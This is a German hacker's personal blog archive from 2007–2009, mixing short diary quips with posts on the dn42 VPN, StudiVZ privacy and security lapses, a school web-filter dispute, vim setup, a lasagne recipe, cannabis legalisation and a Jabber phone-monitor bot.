Great Firewall of China
 

Berlin hat vorne ein B und hin...

tagebuch - Tue, 24 Feb 2009 10:16:00 +0100

Berlin hat vorne ein B und hinten ein H

Ph’nglui mglw’nafh Cthulhu...

tagebuch - Mon, 02 Feb 2009 00:39:00 +0100

Ph’nglui mglw’nafh Cthulhu R’lyeh wgah’nagl fhtagn.

jedes herz ist eine evolutions...

tagebuch - Mon, 26 Jan 2009 22:23:00 +0100

jedes herz ist eine evolutionszelle!

kiffen erstickt die revolution...

tagebuch - Sat, 24 Jan 2009 18:03:00 +0100

kiffen erstickt die revolutionaere energie der jugend.

damit eins klar ist: im april ...

tagebuch - Mon, 12 Jan 2009 22:39:00 +0100

damit eins klar ist: im april is sommer!

Mensacard - Ueberwachung oder Segen?

tagebuch - Wed, 05 Nov 2008 08:24:00 +0100

HAR2009 - Hacking at Random

tagebuch - Tue, 04 Nov 2008 18:04:00 +0100

es ist ein großer unterschied...

tagebuch - Mon, 13 Oct 2008 22:13:00 +0200

es ist ein großer unterschied für die liebe zu sterben als den tot zu lieben..

Beiss mich! Kneif mich! Gib mi...

tagebuch - Mon, 22 Sep 2008 10:01:00 +0200

Beiss mich! Kneif mich! Gib mir Variablennamen!

Wenn Atomkraft so geil ist, ka...

tagebuch - Sun, 21 Sep 2008 17:54:00 +0200

Wenn Atomkraft so geil ist, kann der Castor in deinen Keller

ubuntu rennt nur mit alternati...

tagebuch - Fri, 15 Aug 2008 00:13:00 +0200

ubuntu rennt nur mit alternativ cd richtig

i'm sad about different jabber...

tagebuch - Thu, 14 Aug 2008 12:00:00 +0200

i'm sad about different jabber protocol implementations in jabberclient and my try to write a good jabberbot...

programming, listening to musi...

tagebuch - Thu, 14 Aug 2008 11:49:00 +0200

programming, listening to music

aufwachen, mate suchen, frühs...

tagebuch - Wed, 13 Aug 2008 10:29:00 +0200

aufwachen, mate suchen, frühstücken

partying (or a head full of rechner)

tagebuch - Sat, 21 Jun 2008 20:01:00 +0200

police 24c3

tagebuch - Wed, 18 Jun 2008 20:07:00 +0200

kabelverhau

tagebuch - Wed, 18 Jun 2008 20:05:00 +0200

a living robot

tagebuch - Wed, 18 Jun 2008 20:04:00 +0200

my desk in the new room

tagebuch - Wed, 18 Jun 2008 20:02:00 +0200

the gas mask man

tagebuch - Sat, 07 Jun 2008 20:10:00 +0200

make-sex

tagebuch - Wed, 14 May 2008 19:48:00 +0200

(Tim:) Naja, stell dir vor, es gibt mal ne Funktion die heißt “make-sex”, und naja, als Parameter hast du halt Mann und Frau
(Hans:) Ahja, ja, sehr vernünftig
(Tim:) Da wird halt einfach jedem sofort klar, dass es nicht so einfach ist, eine Entscheidung darüber zu fällen ob man nun diese Funktion in die Klasse Mann oder in die Klasse Frau reintut. Kommt natürlich gleich der erfahrene Java-Programmierer und meint naja, wir haben ja Vererbung, das tu ich dann einfach in Human, [...] aber dann willst du auch mal mit dem Vorwerk-Staubsauger Sex machen oder dem Hund, so, na, es gibt da ja alle möglichen Sachen. Nicht dass ich das alles ausprobieren wollte, aber man ist ja Programmierer. Als Programmierer modelliert man die Welt, und die Welt ist, wie wir wissen, sehr vielfältig.

– Tim Pritlove und Hans Hübner erklären Multiple Dispatch

dn42

tagebuch - Sun, 27 Apr 2008 20:19:00 +0200

Ich bin seit einigen Jahren im dn42 aktiv. Nun werden sich einige Fragen: dn42? Was ist das denn?
Das dn42 ist ein grosses, dynamisches VPN, bei dem jeder Teilnehmer zu mindestens einem anderen Teilnehmer eine direkte Verbindung (GRE, OpenVPN, ...) hat. Darüber werden dann die kompletten Routen des VPNs per BGP ausgetauscht.

Klingt interessant und was brauche ich dafür?
  1. Einen Rechner, der möglichst 24/7 rennt und Router ist oder werden möchte
  2. Ein Rechner kann als Router fungieren, wenn er Zugriff aufs Internet hat und als Gateway bei den Clients eingetragen ist.
  3. OpenVPN, GRE oder SIT für Tunnel
  4. quagga (möglichst 0.99.x) oder OpenBGPD als Routingsuite für BGP
  5. Eine Internetverbindung

Aber dieses ganzen Adressen kann ich mir gar nicht merken! Ich will DNS!
Wenn wir DNS haben wollen, müssen wir uns einen DNS Server mit einer Domain aufsetzen und diese in 172.22.24.1 eintragen lassen (dass ist quasi DER DNS Server des dn42; siehe dn42 DNS).

Im IRC-Channel ist oft die Rede von nummerierten oder unnummerierten Tunneln. Was ist das?
Jeder, der unmasquerierte Nodes hinter seinem Router betreiben will, sucht sich eins der Netze aus dem Wiki aus. Wenn wir nummerierte Tunnel wollen, brauchen wir ein Netz als Transfernetz.
Also:
  • Nummerierte Tunnel verwenden extra IPs aus extra Transfernetzen (Vorteile sind: Multicast geht ohne patcherei am pimd und der Router selbst ist besser erreichbar (da der Router der Nachbarn nun auch die IP des Servers als Route über BGP bekommt und so nicht overridden wird von der statischen Interface Route)).
  • Unnummerierte Tunnel verwenden die IP des primären Interfaces des Routers (funktioniert nur, wenn man in seinem Netz dn42 IPs benutzt).

Und wie sieht das ganze jetzt aus? Ich kann mir das gar nicht vorstellen!
Zur Topologie des dn42 sei gesagt, dass dieses dezentral organisiert ist. Das meint, dass wir kein sternförmiges Netz haben, sondern Point2Point-Verbindungen untereinander, über die dann via BGP Routen ausgetauscht werden. Diese Point2Point-Verbindungen finden oft über hier genannte Tunnelprotokolle statt, es sind aber grundsätzlich alle Protokolle möglich, die TCP/IP übertragen. Geroutet werden IPv4 und/oder IPv6.

bewertungen mal anders...

tagebuch - Sat, 05 Apr 2008 20:12:00 +0200

Was-ich-so-alles-bei-mir-habe-Stöckchen

tagebuch - Sun, 20 Jan 2008 00:30:00 +0100

Das erste Stöckchen im Jahr.

Immer dabei habe ich folgende Sachen:
  • Portemonnaie
  • Schlüssel
  • Handy
  • fast immer: Notebook
  • wenn Notebook: 20m Netzwerkkabel, Netzteil, Crossover Kabel
  • iPod nano
  • sehr oft: Digicam

Ich werfe dieses interessante Stöckchen gleich mal weiter an: Cathy, Kim, alle Breku Leute, Fre, Marina, Jessi, Henning und Malte.

Die gruschelige VZ-Situation

tagebuch - Wed, 24 Oct 2007 10:54:00 +0200

Das Studi/SchuelerVZ ist eigentlich jedem ein Begriff…. Nachdem das StudiVZ so ein großer Erfolg war, haben Esshan D. und sein Team vom StudiVZ angefangen die zweite Marktlücke, das SchuelerVZ, zu füllen. Eben schnell die Datenbanken etwas umgeschrieben, die Farbe geändert und schon war das neue SchuelerVZ unter http://www.schuelervz.net/ zu erreichen, noch sind sogar einige Sätze gleich geblieben, die auf StudiVZ hinweisen.
Dass das StudiVZ auch nicht ganz neu ist, beweißt die Ähnlichkeit mit facebook, einem amerikanischen Unternehmen, dass sich alle Arten von Schülern bzw. Studenten, die z.B. an High Schools oder Colleges eingeschrieben sein können richtet.
Jeder der in seinem Herzen oder im echten Leben Schüler ist und jemanden kennt, der im SchuelerVZ ist, kann sich auf der Internetseite anmelden und sich so mit seinen Freunden aus der Schule verbinden, vernetzen, neue Freunde kennenzulernen (oder zu flirten), oder einfach um sinnlos in Gruppen einzutreten und andere zu "gruscheln". Das gute am Verzeichnis: Jeder meldet sich mit seinem echten Namen an und ist so mit der Suchfunktion findbar. Eine Zufallsauswahl und diverse Gruppen, die man auch selbst eröffnet, sorgen dafür, dass man nach Herzenslust neue Leute kennenlernt oder über Themen diskutieren kann. All das ist kostenlos – wirklich kostenlos?! Was viele bestimmt schon vermutet haben: Nichts ist wirklich umsonst – selbst soziale Projekte brauchen Geld für ihre Arbeit. StudiVZ und SchuelerVZ sind jedoch nicht sozial angelegt, es sind kommerzielle Produkte, die von einem Verlag kontrolliert werden. Jeder der dort seine Daten einträgt, sollte sich bewusst sein, dass die Daten, auch wenn geltendes Datenschutzgesetz schlimmeres verhindert, die man eingibt, für jeden und alle einsehbar sind.

Nehmen wir mal an, eine Firma hat eine Stelle zu vergeben: Ein typischer guter Akademikerposten, verantwortlich für eine kleine Gruppe Mitarbeiter, mit erheblichem Einblick in Firmeninterna, zielstrebig, vorzeigbar, mit Aussicht auf schnellen Aufstieg in das mittlere Management, wenn die Leistung in den ersten ein, zwei Jahren stimmt, und die Person soll mindestens 10 Jahre in der Firma bleiben, Einkommen um die 4000 Euro. Es gehen dafür 150 Bewerbungen ein.

Nun kommt diese Firma irgendwie an die Daten des StudiVZs und weiß somit wer vertrauensseelig ist, wer nicht einfach so Daten von sich Preis gibt, usw.

Wie das geht nicht? Das StudiVZ ist sicher? Na, dann pass mal auf! Was denkt ihr wenn ihr folgende Meldung beim Einloggen seht?

Sicherheitsmaßnahme bitte neues Passwort erstellen:

Wir haben den begründeten Verdacht, dass Unbefugte heute versucht haben, sich Zugriff zu studiVZ zu verschaffen.

Zu Deiner Sicherheit ist Dein bisheriges Passwort nicht mehr gültig.
Um Dir ein neues Passwort zu erstellen, gib bitte Deine Emailadresse unten an. Du bekommst dann eine
Email von uns mit einem Link, um Dir ein neues Passwort zu erstellen.

Wir entschuldigen uns für das Problem und danken für Dein Verständnis!

Nix schlimmes? Mh, na gut. Ich erklärs mal:
In der offiziellen Pressemitteilung hat das StudiVZ erklärt was passiert ist:

Wie die Berliner Studierendenplattform studiVZ heute mitteilte, hat eine bislang unbekannte Person während des heutigen Tages Mailadressen, Zugangsdaten und Freundschaftsverbindungen illegal aus der studiVZ-Datenbank auslesen können. Wie viele Profile davon betroffen sind ist zum jetzigen Zeitpunkt noch offen.

Das heißt im Klartext, dass es jemandem, wahrscheinlich ohne viel Aufwand, gelungen ist das StudiVZ zu hacken und alles, aber auch wirklich alles, auszulesen.

Selbst wenn diese Meldung unwahr ist und das StudiVZ den Angriff vorgetäuscht hat, um die Daten verkaufen zu können (ist ja auch praktisch, denn der "Hacker" hatte ja die Daten, somit waren sie ja schon im Umlauf…
Dann kann man auch mal eben 1 Millionen Euro dafür kassieren), würde mich die Nachricht panisch machen.

Und auch, wenn das offizielle Blog des StudiVZ, wo die Eigentümer oder Erfinder immer ihre gruscheligen hippen neuen Ideen veröffentlichen, übernommen wird und jemand darauf hinweist, dass das StudiVZ nicht mehr sicher ist und aus einer Bande korrupter gruschelnder Jungmanager besteht, appeliert das nicht an euren Verstand?

Und jetzt geht Ihr morgen zu StudiVZ und schaltet ganz schnell Euer Profil und eure Gallerien auf privat? Super Idee? Leider nicht! Denn als Firma oder sonste wer (neugieriger Zeitgenosse) schaue ich einfach, wer Eure Freunde sind und dann sehe ich ziemlich klar, in welchem trüben, versoffenen Lehramtsumfeld Du sonst so rumhängst.

"Und die Bilder und so? Ist ja alles auf privat?", fragst du dich nun bestimmt. Naja, kein Problem, sage ich, denn dafür gibt es ja diese ganzen Programmierbugs, die dann auch noch eins zu eins ins SchuelerVZ übernommen wurden.
Also, fangen wir mal an: Wie hier erklärt wird, kommt man an alle Gallerien, Profile, etc. mit einfachsten Rechentricks. Auch nach dieser Lücke nicht genug, so fand ich bei Blogbar eine weitere (leider hab ich die Auflösung des Rätsels nicht mehr gefunden). Und in geheime/private Gruppen kommt niemand? Weit gefehlt. Nochmal zusammengefasst hier.

Und ihr nutzt das Studi/SchuelerVZ auch von öffentlichen Orten (Internetcafe, Schule, etc.)? Mh. Schaut mal hier.

So Fazit: Ihr wollt eine Organisation stärken und unterstützen, die eure Daten verkauft, nicht auf Datenschutz achtet und auch noch rechtsradikal ist?
"Was war das letzte? Das ist neu?" Jaja, es bezieht sich hier drauf. Krass, mh?

Aber dafür hast Du ja jetzt eine gute Zeit bei StudiVZ, die Bugs sind gefixed und für das Abgrasen braucht man jetzt Wochen statt Tagen, und illegal ist es auch, also, was soll schon passieren mit Dir und Deinen absolut vollkommen harmlosen Daten. Denn Du hast nichts zu verbergen. Was Du reinschreibst, ist harmlos. Und Deine Mail und Deine Handynummer sind ja nicht öffentlich. Klaro. Alles gruschelig.

Entwicklerhumor bei neu.de

tagebuch - Tue, 23 Oct 2007 22:30:00 +0200

Warum vi eben doch der bessere Editor ist

tagebuch - Tue, 23 Oct 2007 22:27:00 +0200

Heute war ich auf der Suche nach einem neuen Editor, da immer auf dem Server zu arbeiten nicht immer dem Arbeitsfluss förderlich ist. Ich habe mir gedit, bluefish, jedit und gvim angeschaut.
Mit bluefish habe ich früher schonmal gearbeitet, aber leider ist wie damals das Syntaxhighlighting meinem Code scheinbar nicht gewachsen. jedit ist in Java und fällt damit von vorneherein schonmal aus. gedit hat kein Syntax- highlighting (soweit ich weiß) und legt immer Backupfiles an… Somit fiel die Wahl auf gvim.

Gestört hat mich hierbei, dass das Syntaxhighlighting nicht direkt beim Starten eingeschaltet ist.
Auf http://simplesnip.com/helmi/vim-syntax-highlighting-aktivieren.html habe ich eine Lösung gefunden, die in der Datei /etc/vim/vimrc vonstatten gehen muss.

“ Vim5 and later versions support syntax highlighting. Uncommenting the next
“ line enables syntax highlighting by default.
“syntax on

Man muss einfach nur das “ vor syntax entfernen.

Letzte Woche stellte ich ...

tagebuch - Wed, 17 Oct 2007 10:59:00 +0200

Letzte Woche stellte ich mit Erstaunen fest, dass meine Seite aus unserem Schulnetz nicht mehr erreichbar war.

Der Zugriff auf die Seite http://chaosnase.de/ wurde mit folgender Begründung verweigert:
Die Grenze fuer gewichtete Worte/Wortgruppen wurde überschritten.

Ein Freund von mir nahm daraufhin Kontakt mit der Brekom auf, der Firma, die die Internetanbindung in Bremer Schulen und Behörden stellt.

Sehr geehrte Damen und Herren,
stimmt es, dass sie für das Sperren von Internetseiten an Bremer Schule verantwortlich sind und das Aufrufen
bestimmter Seiten verhindern? Wenn dies der Fall ist, würde mich interessieren, weshalb die Internetseiten
http://hellzilla.de und http://chaosnase.de gesperrt wurden. Wären Sie so freundlich und würden mir
Ihre Gründe offenlegen oder diese Seite wieder freigeben.

Gestern kam dann eine Antwort:

Sehr geehrter Herr xxx,
die Seite ist gesperrt, weil Sie keinen unterrichtlichen Bezug erkennen läßt.
Dieser mag sich mir auch nicht bei einem gerade durchgeführten Besuch dieser Seite erschließt.
Diese Seite bleibt hinsichtlich des Aufrufens aus dem Schulnetz gesperrt.

Mit freundlichem Gruß

Was natürlich prompt eine Reaktion von uns erforderte:

Sehr geehrter Herr xxx,
mit dieser Begründung könnten, bzw. müssten sie alle möglichen Seiten sperren,
angefangen von youtube, über das schülerVZ, bis hin zu den Seiten mit
politischen Inhalten (da an unserer Schule kein Politik unterrichtet wird) und
E-Mail-Accounts wie web.de und gmx lassen meiner Meinung nach keinen unterrichtlichen
Bezug erkennen. Außerdem ist der Computerraum in den Pausen und Freistunden für Schüler
zugänglich, die zu Hause keine Möglichkeit haben ins Internet zu gehen und denen
verbauen sie die Möglichkeit, diese Seite zu besuchen. Da dort weder rassistische, noch gewaltverherrlichende
oder pornografische Inhalte veröffentlicht werden bitte ich Sie, diese Seite wieder freizugeben.

Verwunderlich ist allerdings auch, dass eine von mir gesendete E-Mail, in der ich versicherte der Inhaber der Domain zu sein (was nebenbei erwähnt durch einen Whois-Lookup auch relativ leicht nachzuschauen ist) und ich darum gebeten hatte die Gründe für die Sperrung offen zu legen, unbeantwortet bleibt.

Ansicht der Seite aus bremer Schulen

Kochen für Geeks

tagebuch - Sat, 13 Oct 2007 11:31:00 +0200

Vorspeise Caprese (Tomaten mit Mozarella und Pesto) und als Hauptgericht Lasagne

Für die Vorspeise braucht ihr:
1. Für das Pesto:
  • einen Bund Basilikum
  • eine Handvoll Mandelplättchen
  • Parmesan (gerieben oder in kleine Stückchen geschnitten / gebrochen)
  • Olivenöl
  • 2 schön große Zehen Knoblauch
  • Salz

Den Basilikum waschen, trockentupfen, Blätter abzupfen und in eine Schüssel geben. Mit dem Passierstab zerkleinern, Olivenöl hinzugeben, dass sich ein Brei bildet. Nach und nach noch Mandelplättchen, Parmesan, die geschälten und grob geschnittenen Knoblauchzehen und weiter Olivenöl hinzugeben, dass ein Brei entsteht. Mit Salz abschmecken.

2. Fürs Caprese
  • Tomaten
  • Mozarella
  • Pesto
  • Olivenöl
  • Balsamico
  • Kräuter, wie z.B. Kräuter der Provence / Italienische Kräuter, Salz, Pfeffer

Tomaten und Mozarella in Scheiben schneiden, ziegelartig auf eine Platte aufschichten, jeweils eine Scheibe Tomate mit einer Scheibe Mozarella. Auf jedes Mozarellascheibchen einen Klacks Pesto geben. Aus Olivenöl, Balsamico, den Gewürzen und nochmal einem Löffelchen Pesto ein Dressing basteln, das über die fertig aufgeschichteten Mozarella-Tomaten geben. Geht auch ohne Pesto mit frischem Basilikum.

Für die Lasagne ist folgendes von Nöten:
  • 500 g gemischtes Hackfleisch
  • 1 mittelgroße Zwiebel
  • 2 Knoblauchzehen
  • 125 ml Rotwein
  • 1 Packung Tomatenpampe
  • 1 EL Pesto
  • Lasagneplatten
  • 40 g Butter
  • 40 g Mehl
  • 625 ml Milch
  • 125 g geriebenen Gouda
  • Salz, Pfeffer, Kräuter der Provence o. Italienische Kräuter
  • Muskatnuss

öl in der Pfanne erhitzen, das Fleisch hinzugeben, unter Rühren anbraten, die Fleischklümpchen immer mit einer Gabel zerkleinern. Zwiebeln und Knoblauch schälen und kleinschnibbeln, zu dem Hackfleisch in die Pfanne geben und mitdünsten lassen. Wenn die Zwiebeln glasig sind, alles mit dem Rotwein ablöschen, den Wein etwas mitköcheln lassen, und dann die Tomatenpampe dazugeben. Mit Salz, Pfeffer, den Kräutern und nach Belieben einem oder mehreren Löffelchen Pesto abschmecken.

In einem Topf die Butter zergehen lassen, das Mehl hinzugeben und unter Rühren hellgelb werden lassen. Langsam die Milch hinzugeben und mit einem Schneebesen gut rühren, so dass sich keine Klumpen bilden. Die so entstandene Sauce zum Kochen bringen und 2/3 des Käses unterrühren. Das Ganze 5 Minuten lang kochen, dann mit Salz, Pfeffer und geriebener Muskatnuss abschmecken.

Die Nudelplatten kurz vorkochen, dass sie nicht mehr ganz hart sind.

Eine Auflaufform mit Olivenöl einstreichen, eine Lage Lasagneplatten einlegen. Die mit der Tomatensauce bedecken, darüber noch Käsesauce, eine weitere Lage Lasagneplatten, das ganze noch zweimal wiederholen. Die oberste Lage Platten mit dem Rest Käsesauce bedecken, dann den restlichen Käse drüber.

Bei 200-225 Grad im Backofen backen, bis der Käse goldbraun ist (ca. 40 min sagt mein Rezept).

Wünsche guten Hunger!

Quelle: CCCS

Für Cannabislegalisierung

tagebuch - Fri, 05 Oct 2007 17:54:00 +0200

Auf die Idee gebracht hat mich ein Beitrag im Deutschlandfunk.
Für Cannabislegalisierung:
  • Krebspatienten leiden bei einer Chemo weniger, wenn sie einen Joint rauchen
  • Durch Cannabis wird der Augendruck bei einer Augenkrankheit vermindert.
  • AIDS Patienten haben wieder Appetit
  • Bei einer Regulierung des Cannabismarktes ist ein Steuervolumen durch direkte Cannabissteuern und Umsatzsteuer von mindestens ca. 530 Mio. € pro Jahr zu erwarten. Auch erheblich höhere Einnahmen scheinen nicht unrealistisch.
  • Durch die dafür notwendige Legalisierung von Cannabis würde der Staat von ca. 1 Mrd. € an jährlichen Repressionskosten ca. 500 Mio. € einsparen und Kapazitäten für die Verfolgung anderer Straftaten bzw. für die Erhöhung der öffentlichen Sicherheit freimachen.
  • Durch weitere wirtschaftliche Auswirkungen sind mindestens 13.500 neue Arbeitsplätze und mindestens 200 Mio. € pro Jahr für die Staatskassen (Einkommensteuer und Sozialversicherungen) zu erwarten.
  • Wie oben aufgeführt ziehen wir von diesen insgesamt 1.23 Mrd. € 20 % ab.
  • Selbst bei sehr vorsichtigen Schätzungen und Annahmen kann man davon ausgehen, dass bei einer Cannabislegalisierung mindestens 984 Mio. € pro Jahr direkt in die Staatskassen fließen. Ein Vielfaches davon scheint wahrscheinlich.
  • Cannabis ist ein Anti-Emetikum (Mittel gegen Übelkeit und Erbrechen).
  • In einigen kleinen Studien wurde eine gute Beeinflussung der Spastik im Rahmen der Multiplen Sklerose oder Querschnittserkrankungen durch THC und Marihuana beobachtet.
  • Nach Erfahrungsberichten ist Cannabis für einige Patienten mit generalisierter Epilepsie ein Mittel, um eine sonst nicht kontrollierbare Anfallserkrankung zu kontrollieren.
  • Cannabis hat eine stark bronchienerweiternde Wirkung (Gut bei Asthma).
  • Ein Grund, warum Cannabis von vielen Menschen konsumiert wird, ist seine angstlindernde Wirkung.
  • Hasch bringt uns besser durch Zeiten ohne Geld, als Geld durch Zeiten ohne Hasch.
  • Das Cannabis-Verbot kann durch medizinische Argumente nicht gestützt werden.

Free Burma!

tagebuch - Thu, 04 Oct 2007 11:08:00 +0200

stitched

tagebuch - Wed, 03 Oct 2007 10:14:00 +0200

Es gibt jetzt ein chaosna...

tagebuch - Tue, 02 Oct 2007 17:12:00 +0200

Es gibt jetzt ein chaosnasen shop. Diese Idee kam mir als viele Klagen gegen Abimottos aufkamen. Also dachte ich mir: Warum nicht ein Spreadshirt-Shop mit alternativen Abimottos und anderem T-Shirtspass? Gesagt getan.

Hörspiel

tagebuch - Tue, 02 Oct 2007 14:08:00 +0200

Ich höre gerade Teufel hast du Wind und bekomme irgendwie Lust ein Hörspiel zu machen.
Nun meine Frage: Wer hat Lust mitzumachen, bzw. hat Ideen für ein Thema/eine Story?

Anregungen/Antworten per Comment.

Du bist ein Rebell. Rebel...

tagebuch - Tue, 02 Oct 2007 13:29:00 +0200

Du bist ein Rebell. Rebellen machen keine Hausaufgaben! Stell dich gegen das Bildungssystem!
Lebe auf der Strasse…denn du bist gegen Bausparer…
Trag keine Hosen, denn du bist gegen Marken
Halt die Fresse, denn du bist gegen Bullshit labern

Ich bitte um Ergänzungen an helios@h-ix.net oder per Comment!

Nachdem ich mit Wordpress...

tagebuch - Tue, 02 Oct 2007 13:23:00 +0200

Nachdem ich mit Wordpress nicht mehr so richtig zufrieden war (keine direkt integrierten Captchas, merkwürdige Plugins, etc.) und ich mir sowieso einmal Blog-Programmierung anschauen wollte, habe ich mich entschlossen, ein eigenes Blog zu schreiben, wie es alle coolen Hacker machen. Hierbei habe ich mich bei den oben genannten Blogs inspirieren lassen: keine Query-Parameter, alles sind Pfade, die Inhalte sind als Text-Dateien organisiert, Kommentare sind implementiert und nutzen ein selbstgeschriebenes Captcha. Avatarbilder werden mit MonsterID erstellt. Trackbacks werden gespeichert aber noch nicht angezeigt. Das kommt dann irgendwann wenn mir langweilig ist.

Ich hab mich gestern bei ...

tagebuch - Sat, 15 Sep 2007 11:46:00 +0200

Ich hab mich gestern bei Sipgate registriert. Sipgate ist ein Voice over IP Anbieter aus Deutschland, der aber auch in Österreich und Großbrittanien operiert. Sie bieten kostenfreie Anrufe zu anderen VoIP-Telefonen an und, wenn man sein Guthaben aufgeladen hat, auch zu Festnetz und Handies. Die Nutzer brauchen lediglich ein VoIP Programm auf ihrem PC, VoIP Hardware (Witzbox) oder eine ausgefuchste Linux Lösung. Die Hardware kann man auch direkt bei Sipgate erwerben.

Da Sipgate es anbietet sich eine Ortsrufnummer auszusuchen habe ich das gemacht und die wird wohl, solange Sipgate existiert auch meine bleiben; egal wo ich hinziehe. Sie lautet: 0421/1676136.

MUC

tagebuch - Mon, 10 Sep 2007 10:42:00 +0200

So unser MUC Channel ist umgezogen. Er heisst nun blackhole@conference.jabber.org.

Nachtrag zum ersten Stock: Eventuell ist dem ein oder anderen aufgefallen, dass ich beim "Stöckchen schmeissen" nur die Blogs auf meinem Server erwähnt habe. Aber natürlich können auch gerne alle anderen den Fragebogen ausfüllen (z.B. du, Alex). Das gilt allgemein bei jedem. Ein kleiner Link auf mein Blog wäre dabei nett: Schließlich hab ich mit den Stöcken geworfen.

Noch 3 Tage

tagebuch - Mon, 27 Aug 2007 11:36:00 +0200

So nun ist schon Montag und wir haben nur noch 3 Tage Ferien… Aber um euch die Stimmung aufzuhellen, gibts auch heute wieder leckere Sachen….

Erstmal: Kann sich jemand dazu äußern? Ich meine das ist ja schon wichtig zu wissen, ob es nur rechts- und linksdrehende Joghurtkulturen gibt, oder auch rechts- und linksdrehende Möbiusbänder… Dann denke ich gerade darüber nach, ob man nicht mal Second Life testen sollte. Immerhin gibt es jetzt einen Alpha Community Linux Client. Am Samstag haben ja, wie schon erzählt, Konsul Schmidt auf dem Viertelfest gespielt… Sie wießen darauf hin, dass sie eine Webseite haben und, dass ihr Gästebuch so leer sei. Nun liegt diese Seite, wie alle unsere (Timur und meine) Seiten auf Goldstein und so habe ich die immer recht gut im Blick. Aber egal was man macht: Ob man auf der Bühne fetzige Musik macht und darauf hinweißt, dass man eine Homepage hat oder man sich überall verlinken lässt: Es nützt nichts. Es schreibt ja doch keiner. Also erstens: Geht auf konsulschmidt.de und schreibt was nettes ins Gästebuch und zweitens: Meine Kommentarfunktion ist ab jetzt wieder an…mit Captcha (wegen die bösen Spambots). Naja, was ich eigentlich erzählen wollte: Ins Gästebuch schrieb ein Mensch von der Band "Ich und mein Tiger", eine Band, die mir eigentlich ganz gut gefällt. Diese Band spielt am 2.9. im Urlaub, welches sich im Fehrfeld 28 befindet.

Viertelfest und letzte Ferienwoche

tagebuch - Sun, 26 Aug 2007 15:58:00 +0200

Rebecca mit einem Losverkäuferhut Im Moment ist in Bremen das Viertelfest und natürlich muss man da hin :). Am Freitag spielten Mellow Mark, Pale, Muff Potter und die Trashmonkeys. Aufgrund akuter Müdigkeit, des normalen biologischen Dranges nach einer Entleerungsanstalt und des Erfordernisses zur Ausübung beziehungstechnischer Tätigkeiten bin ich, zusammen mit Cathy, vor Muff Potter gegangen. Am Samstag bin ich relativ spontan um kurz vor fünf zu Konsul Schmidt, der Band von Timur, Marius, Marlon, Natalie und Tule, gefahren, die eigentlich um viertel vor anfangen wollten, allerdings stellte ich fest, dass ich wohl nicht viel verpasst hatte. Nachdem ich mir ein Bier gekauft hatte (für 2,50€) gings mir auch schon besser. Konsul Schmidt spielten gut, wiesen auch auf ihre Homepage hin. Leider durften sie keine Zugabe geben, so dass danach ein Mann die Bühne betrat, der einen 1/4 Hut trug und versuchte Stimmung zu machen. Bei Konsul Schmidt traf ich, allerdings 15min nachdem Konsul Schmidt angefangen hatten, Rebecca. Mit ihr "verbrachte" ich dann den weiteren Spätnachmittag/Abend. Vor dem Goetheplatz spielten Umanos, eine Afro Beat Funk HipHop Gruppe, die uns nicht so begeisterten. Auf dem Ulrichsplatz spielten Mermaid Union, eine zwei Frauenband mit spanischem-countrykitsch-by-heart. Die waren Ansich ganz gut, nur hatten sie viele Spanischlieder im Programm, was mich nicht so begeisterte, da Spanisch nicht gerade meine Lieblingssprache ist. Auch Rebecca, die gerade als Au-Pair in Spanien war, wirkte nicht allzu begeistert. Auf der Bühne vor der Kunsthalle Bremen spielten währenddessen S.O.L., eine "Sweet Punk Rock Band mit einem Hauch Garage". Die waren eigentlich recht lustig. Ich verabschiedete mich hingegen von Rebecca und dem Viertelfest und fuhr nach Hause, weil ich der Meinung war, dass Cathy dort angekommen sein müsste, nur um festzustellen, dass dies nicht der Fall war. Um allem die Krone aufzusetzen rief sie mich 10min nach meinem Ankommen an und fragte, ob ich nicht nochmal aufs Viertelfest wollen würde. Auch hat mich auf dem Nachhauseweg die Polizei darauf hingewiesen, dass mein Vorderlicht nicht geht. Schön, dass einem das bei einem Fahrrad passiert, dass man einen Tag vorher wiederbekommen hat und einfach noch nicht die Zeit hatte eine neue Glühlampe zu kaufen…

Durch den Bedarf an einem...

tagebuch - Wed, 27 Jun 2007 19:25:00 +0200

Durch den Bedarf an einem neuen Server wurde ich auf den Konzern Hetzner aufmerksam. Dieser Konzern scheint OpenSource nicht gerade unfreundlich gesinnt zu sein. So verwenden sie quelloffene Software und stellen ihre eigenen Programme unter die GPL. Auch der Wiki-Artikel zeigt, dass sie sich nicht von Marken und Kommerz beeindrucken lassen. Ich hoffe, dass sie Bauplan und Software veröffentlichen.

Java, Jabber und Co…

tagebuch - Fri, 11 May 2007 08:09:00 +0200

Am Wochenende (am verlängerten) habe ich den Rat von RipperFox wahrgenommen und für Quasar und Anhänger (Hallo, ihr Freaks da draussen ;-P) OpenFire aufgesetzt. Das ist das nachfolge Produkt vom Wildfire und stellt einen in Java geschriebenen Jabberserver dar. Das schöne an Java ist, dass es Plattform unabhängig läuft, das unschöne, dass es relativ viel Last erzeugt. Der erste Ansatz war OpenFire auf Lucy zu installieren (inklusive des JRE (Java Runtime Environment), da debian dieses nicht in der Version von Sun mitbringt. Doch da Lucy nicht über eine eigene IP ins Internet verfügt (sehr restriktive Firewall), musste ich mithilfe von Stone (ein TCP/IP Port Proxy) die Jabber Client sowie Server Ports auf Lucy weiterleiten. Doch es zeigte sich bald, dass dann die Serverkommunikation fehlschlug, da Lucy über den default Gateway antwortete und nicht über den Proxy. Somit konnte der andere Server (Quasar-Net’s ejabberd) nicht mit Lucy’s Jabber kommunizieren. Deswegen habe ich dann OpenFire auf Gaia installiert und siehe da: funktioniert und läuft merklich schneller. Dann noch flugs in die Runlevel eingetragen und fertig war die Wurst.

Gestern abend kam mir kurz der Gedanke, dass es eine andere Möglichkeit geben müsste die Telefonnummer des Anrufenden anzuzeigen, als ein neues Telefon zu kaufen. Und wie das bei mir mit Ideen so ist, müssen diese auch sogleich umgesetzt werden. Ich schrieb also mithilfe von Net::Jabber (von Perl) einen Jabberbot (auch Yoda genannt), der sich auch die Fritz!Box verbindet und den Telefonmonitor ausliest. Auf diesem kommen eingehende und abgehende Anrufe als einfache Call, Ring und Disconnect Zeilen an, die einfach zu parsen sind. Die Aufgabe erfüllt Yoda schon recht gut, es mangelt allerdings an Fehlerkorrektur (wie das Abfangen von Jabber Disconnect Ereignissen, so dass sich der Bot dann reconnectet). Wenn der Bot fertig ist, gibts den Code wieder an gewohnter Stelle ;).

Wenn ihr was wollt, müsst ihr es selber machen

tagebuch - Fri, 11 May 2007 07:49:00 +0200

